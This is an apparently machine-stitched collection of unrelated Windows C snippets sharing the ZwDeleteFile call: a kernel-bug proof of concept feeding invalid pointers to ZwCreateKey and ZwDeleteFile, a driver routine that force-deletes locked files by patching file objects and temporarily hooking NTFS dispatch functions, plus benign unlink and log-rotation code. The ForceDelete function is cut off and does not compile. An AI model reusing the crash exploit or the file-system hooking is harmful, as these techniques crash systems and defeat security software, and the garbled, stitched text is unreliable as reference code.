int main(int argc,char **argv) { about(); if (argc!=2) { usage(); return 1; } if (!stricmp(argv[1],"NtCreateKey") || !stricmp(argv[1],"ZwCreateKey")) { HANDLE handle; OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa,NULL,0,NULL,NULL); for (oa.ObjectName=(PVOID)0x80000000;;oa.ObjectName+=0x0300) ZwCreateKey(&handle,0,&oa,0,NULL,0,NULL); } else if (!stricmp(argv[1],"NtDeleteFile") || !stricmp(argv[1],"ZwDeleteFile")) { OBJECT_ATTRIBUTES oa; UNICODE_STRING us={0x6B3,0x12,(PVOID)0x10000}; InitializeObjectAttributes(&oa,&us,0,NULL,NULL); ZwDeleteFile(&oa); } else printf("\nI do not know how to exploit the vulnerability using this function.\n"); printf("\nTEST FAILED!\n"); return 1; }
co_rc_t co_os_file_unlink(char *filename) { OBJECT_ATTRIBUTES ObjectAttributes; UNICODE_STRING unipath; NTSTATUS status; co_rc_t rc; rc = co_winnt_utf8_to_unicode(filename, &unipath); if (!CO_OK(rc)) return rc; InitializeObjectAttributes(&ObjectAttributes, &unipath, OBJ_CASE_INSENSITIVE, NULL, NULL); status = ZwDeleteFile(&ObjectAttributes); // Remove readonly attribute and try again if (status != STATUS_SUCCESS && status != STATUS_OBJECT_NAME_NOT_FOUND) { FILE_BASIC_INFORMATION fbi; IO_STATUS_BLOCK io_status; int changed = 0; rc = co_os_change_file_information(filename, &io_status, &fbi, sizeof(fbi), FileBasicInformation, remove_read_only_func, &changed); if (CO_OK(rc) && changed) { co_debug_lvl(filesystem, 10, "status %x, ZwDeleteFile('%s') try again", (int)status, filename); status = ZwDeleteFile(&ObjectAttributes); } } co_winnt_free_unicode(&unipath); if (status != STATUS_SUCCESS) co_debug_lvl(filesystem, 5, "error %x ZwDeleteFile('%s')", (int)status, filename); return co_status_convert(status); }
void hook_it(DEVICE_OBJECT *device_object) { NTSTATUS result; OBJECT_ATTRIBUTES fileObj; UNICODE_STRING uTmpFile; HANDLE fileHandle; IO_STATUS_BLOCK ioStatus; FILE_BASIC_INFORMATION fileBasicInfo; //initialize variables related with fake file RtlInitUnicodeString(&uTmpFile,g_tmpFile); InitializeObjectAttributes(&fileObj, &uTmpFile, OBJ_CASE_INSENSITIVE, NULL, NULL); //save original MJ functions create = device_object->DriverObject->MajorFunction[0]; cleanup = device_object->DriverObject->MajorFunction[0x12]; close = device_object->DriverObject->MajorFunction[0x2]; result = ZwCreateFile(&fileHandle, 4, &fileObj, &ioStatus, 0, 0x80, 2, 3, 0x20, 0, 0); if(result != STATUS_SUCCESS) return; ZwClose(fileHandle); //install hooks device_object->DriverObject->MajorFunction[0] = HookedNtfsFsdCreate; device_object->DriverObject->MajorFunction[0x12] = HookedNtfsFsdCleanUp; device_object->DriverObject->MajorFunction[0x2] = HookedNtfsFsdClose; ZwDeleteFile(&fileObj);//launche our hooks //restore original MJ functions device_object->DriverObject->MajorFunction[0] = create; device_object->DriverObject->MajorFunction[0x12] = cleanup; device_object->DriverObject->MajorFunction[0x2] = close; }
NTSTATUS ForceDelete( wchar_t *path ) { HANDLE fileHandle; NTSTATUS result; IO_STATUS_BLOCK ioBlock; DEVICE_OBJECT *device_object; void* object = NULL; OBJECT_ATTRIBUTES fileObject; wchar_t deviceName[14]; UNICODE_STRING uDeviceName; UNICODE_STRING uPath; EPROCESS *eproc = IoGetCurrentProcess(); //switch context to UserMode KeAttachProcess(eproc); //initialize file to delete variable g_fileToDelete = path; g_fileToDelete += 6; //take from \??\C:\example only \example //e.g "\??\C:\" memset(deviceName,0,sizeof(deviceName)); wcsncpy(deviceName,path,7); uDeviceName.Buffer = deviceName; uDeviceName.Length = 14; //file path to unicode string RtlInitUnicodeString(&uPath,path); InitializeObjectAttributes(&fileObject, &uDeviceName, OBJ_CASE_INSENSITIVE, NULL, NULL); result = ZwOpenFile(&fileHandle, SYNCHRONIZE, &fileObject, &ioBlock, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT|FILE_DIRECTORY_FILE); if(result != STATUS_SUCCESS) { DbgPrint("Some problems with open file ;["); goto _end; } if ( !ObReferenceObjectByHandle(fileHandle, 0, 0, 0, &object, 0) ) { device_object = IoGetBaseFileSystemDeviceObject(object); ObfDereferenceObject(object); } ZwClose(fileHandle); InitializeObjectAttributes(&fileObject, &uPath, OBJ_CASE_INSENSITIVE, NULL, NULL); result = IoCreateFileSpecifyDeviceObjectHint( &fileHandle, SYNCHRONIZE | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | FILE_READ_DATA, //0x100181 &fileObject, &ioBlock, 0, 0, FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE, //FILE_SHARE_VALID_FLAGS, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,//0x60, 0, 0, CreateFileTypeNone, 0, IO_IGNORE_SHARE_ACCESS_CHECK, device_object); if(result != STATUS_SUCCESS) { DbgPrint("error in IoCreateFileSpecifyDeviceObjectHint"); goto _end; } result = ObReferenceObjectByHandle(fileHandle, 0, 0, 0, &object, 0); if(result != STATUS_SUCCESS) { DbgPrint("error in ObReferenceObjectByHandle"); ZwClose(fileHandle); goto _end; } /* METHOD 1 */ ((FILE_OBJECT*)object)->SectionObjectPointer->ImageSectionObject = 0; ((FILE_OBJECT*)object)->DeleteAccess = 1; result = ZwDeleteFile(&fileObject); if(result != STATUS_SUCCESS) { DbgPrint("\n[+]error in ZwDeleteFile"); } ObDereferenceObject(object); ZwClose(fileHandle); result = ZwDeleteFile(&fileObject); if(result != STATUS_SUCCESS) { DbgPrint("\n[+]error in ZwDeleteFile"); /* METHOD 2 */ r0_fileToDelete(path); /* METHOD 3 If simple solutions did not help, try this one. */ hook_it(device_object) }
NTSTATUS Log_Rotate() { NTSTATUS Status = STATUS_SUCCESS; HANDLE hFile = NULL; OBJECT_ATTRIBUTES fAttrs; UNICODE_STRING FileName; IO_STATUS_BLOCK StatusBlock = { 0 }; ULONG RotateIndex = 0; FILE_RENAME_INFORMATION *RenameBuffer = NULL; LPCWSTR BaseFileName = LogFileName; ULONG BaseFileNameLength = 0; if (!LogFileName || !LogFile) return STATUS_INVALID_DEVICE_STATE; LPWSTR End1 = wcsrchr(LogFileName, L'\\'), End2 = wcsrchr(LogFileName, L'/'); if ((SIZE_T)End1 > (SIZE_T)End2 > 0) BaseFileName = End1 ? End1 + 1 : LogFileName; else BaseFileName = End2 ? End2 + 1 : LogFileName; BaseFileNameLength = (ULONG)(wcslen(BaseFileName) + 4) * sizeof(WCHAR); ULONG FileNameLength = (ULONG)(wcslen(LogFileName) + 5) * sizeof(WCHAR); RenameBuffer = ExAllocatePoolWithTag(PagedPool, FileNameLength + FIELD_OFFSET(FILE_RENAME_INFORMATION, FileName), LogAllocationTag); if (!RenameBuffer) { Status = STATUS_INSUFFICIENT_RESOURCES; goto Cleanup; } RenameBuffer->FileNameLength = BaseFileNameLength; RenameBuffer->ReplaceIfExists = FALSE; RenameBuffer->RootDirectory = NULL; // Rename already rotated files first Status = StringCbPrintf(RenameBuffer->FileName, FileNameLength, L"%ws.%03d", LogFileName, LogSettings.MaxKeptRotatedFiles); if (!SUCCEEDED(Status)) goto Cleanup; RtlInitUnicodeString(&FileName, RenameBuffer->FileName); InitializeObjectAttributes(&fAttrs, &FileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); ZwDeleteFile(&fAttrs); for (RotateIndex = LogSettings.MaxKeptRotatedFiles - 1; RotateIndex > 0; RotateIndex--) { Status = StringCbPrintf(RenameBuffer->FileName, FileNameLength, L"%ws.%03d", LogFileName, RotateIndex); if (!SUCCEEDED(Status)) goto Cleanup; RtlInitUnicodeString(&FileName, RenameBuffer->FileName); InitializeObjectAttributes(&fAttrs, &FileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); Status = ZwOpenFile(&hFile, DELETE, &fAttrs, &StatusBlock, 0, 0); if (!NT_SUCCESS(Status)) continue; Status = StringCbPrintf(RenameBuffer->FileName, FileNameLength, L"%ws.%03d", BaseFileName, RotateIndex + 1); if (!SUCCEEDED(Status)) goto Cleanup; Status = ZwSetInformationFile(hFile, &StatusBlock, RenameBuffer, FileNameLength + FIELD_OFFSET(FILE_RENAME_INFORMATION, FileName), FileRenameInformation); if (!NT_SUCCESS(Status)) goto Cleanup; ZwClose(hFile); hFile = NULL; } // Rename it Status = StringCbPrintf(RenameBuffer->FileName, FileNameLength, L"%ws.%03d", BaseFileName, 1); if (!SUCCEEDED(Status)) goto Cleanup; // Compress Status = Log_CompressFile(LogFile); Status = ZwSetInformationFile(LogFile, &StatusBlock, RenameBuffer, FileNameLength + FIELD_OFFSET(FILE_RENAME_INFORMATION, FileName), FileRenameInformation); if (!NT_SUCCESS(Status)) goto Cleanup; // And start logging into the new file ZwClose(LogFile); LogFile = NULL; Status = Log_StartFileLogging(LogFileName); Cleanup: if (hFile) ZwClose(hFile); if (RenameBuffer) ExFreePoolWithTag(RenameBuffer, LogAllocationTag); return Status; }